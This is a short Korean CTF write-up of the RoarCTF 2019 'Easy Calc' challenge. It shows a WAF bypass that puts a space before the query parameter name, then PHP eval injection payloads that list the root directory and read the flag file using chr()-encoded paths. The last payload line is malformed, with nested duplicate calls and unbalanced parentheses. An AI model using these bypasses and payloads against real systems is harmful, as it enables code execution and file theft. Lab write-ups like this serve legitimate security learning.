[BUUCTF] - [RoarCTF 2019]Easy Calc1

계산기

 

버튼 투르면 /calc.php?num= 로 ajax request 날린다

 

eval($_GET[num])으로 서버단 코드를 예상해볼 수 있다

 

근데 필터링이 좀 있는데 0x4 같은 16진수 표현도 안되는거 보니 '/[0-9]/'로 필터링 걸려있는 것 같다.

 

 

역시 또 한참 헤매다 라업 봤는데

 

와.. 이건 진짜 몰랐다.

 

 

?num=0x1   -> filtered ?%20num=0x1  -> ok  - num=1 ?%20num[123=0x1  -> ok - num_123=1 ?%20num[123%00456=0x1  -> ok -num_123=1

 

 

waf와 php에서 uri를 파싱하여 파라미터를 가져오는 방식의 차이에서 발생할수도 있는 문제라고 한다.

 

뭐.. 쨌든 이렇게 구하면 var_dump(scandir('/')) 이런거 하면 되는데

 

'," 이런것도 필터링이라 그냥 var_dump(scandir(chr(0x2f))) 이런거 해보면 될거같다

 

ㅇㅋㅇㅋ

 

var_dump(file_get_contents(var_dump(file_get_contents(chr(0x2f).chr(0x66).chr(0x31).chr(0x61).chr(0x67).chr(0x67)))